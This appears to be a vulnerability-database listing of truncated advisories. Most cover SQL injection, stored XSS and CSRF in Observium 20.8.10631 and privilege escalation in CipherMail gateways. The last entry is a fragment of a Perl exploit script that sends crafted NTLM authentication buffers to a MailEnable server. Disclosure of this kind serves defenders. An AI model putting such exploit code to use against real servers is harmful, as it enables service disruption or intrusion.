CVE-2020-25147

An issue was discovered in Observium Professional, Enterprise & Community 20.8.10631. It is vulnerable to SQL Injection due to the fact that it is possible to inject malicious SQL statements in malformed parameter types. This can occur via username0 to the default URI, because of...

PT-2020-15971

Name of the Vulnerable Software and Affected Versions Observium Professional, Enterprise & Community version 20.8.10631 Description An issue was discovered that allows Cross-Site Scripting XSS due to the possibility of injecting and storing malicious JavaScript code. This can occur via the graph...

CVE-2020-25146: Improper Neutralization of Input During Web Page Generation

An issue was discovered in Observium Professional, Enterprise & Community 20.8.10631. It is vulnerable to Cross-Site Scripting XSS due to the fact that it is possible to inject and store malicious JavaScript code within it. This can occur via laid to the /syslogrules URI for editsyslogrule...

PT-2020-15978

Name of the Vulnerable Software and Affected Versions Observium Professional, Enterprise & Community version 20.8.10631 Description The issue allows attackers to forge malicious requests due to the lack of an unpredictable CSRF token in links and forms. This can be exploited to perform actions su...

PT-2020-15979

Name of the Vulnerable Software and Affected Versions Observium Professional, Enterprise & Community version 20.8.10631 Description An issue was discovered that allows SQL Injection due to the possibility of injecting malicious SQL statements in malformed parameter types. This can occur via the...

PT-2020-15975

Name of the Vulnerable Software and Affected Versions Observium Professional, Enterprise & Community version 20.8.10631 Description An issue was discovered that allows Cross-Site Scripting XSS due to the possibility of injecting and storing malicious JavaScript code. This can occur via the la id...

PT-2020-15967

Name of the Vulnerable Software and Affected Versions Observium Professional, Enterprise & Community version 20.8.10631 Description The issue allows for Cross-Site Scripting XSS due to the ability to inject and store malicious JavaScript code. This can occur via the role name or role descr...

PT-2020-15974

Name of the Vulnerable Software and Affected Versions Observium Professional, Enterprise & Community version 20.8.10631 Description An issue was discovered that allows for Cross-Site Scripting XSS due to the ability to inject and store malicious JavaScript code. This can occur via the "/alert...

PT-2020-15977

Name of the Vulnerable Software and Affected Versions Observium Professional, Enterprise & Community version 20.8.10631 Description The issue allows for Cross-Site Scripting XSS due to the possibility of injecting and storing malicious JavaScript code. This can occur via a...

CVE-2020-12713: Improper Privilege Management

An issue was discovered in CipherMail Community Gateway and Professional/Enterprise Gateway 1.0.1 through 4.7.1-0 and CipherMail Webmail Messenger 1.1.1 through 3.1.1-0. Attackers with administrative access to the web interface have multiple options to escalate their privileges to the Unix root...

PT-2020-13222

Name of the Vulnerable Software and Affected Versions CipherMail Community Gateway and Professional/Enterprise Gateway versions 1.0.1 through 4.7.1-0 CipherMail Webmail Messenger versions 1.1.1 through 3.1.1-0 Description An issue was discovered that allows attackers with administrative access to...

maildisable-v5.pl.txt

!/usr/bin/perl maildisable-v5.pl Mail Enable Professional/Enterprise Connected\n"; sendSOCKET, "1 AUTHENTICATE NTLM\r\n", 0; sleep$senddelay; $buf = $PAD x 12. "\xfa\xff\xff\xff". $PAD x 12; sendSOCKET, encodebase64$buf."\r\n", 0; sleep$senddelay; $buf = $PAD x 28. "\x00\x01". $PAD x 2...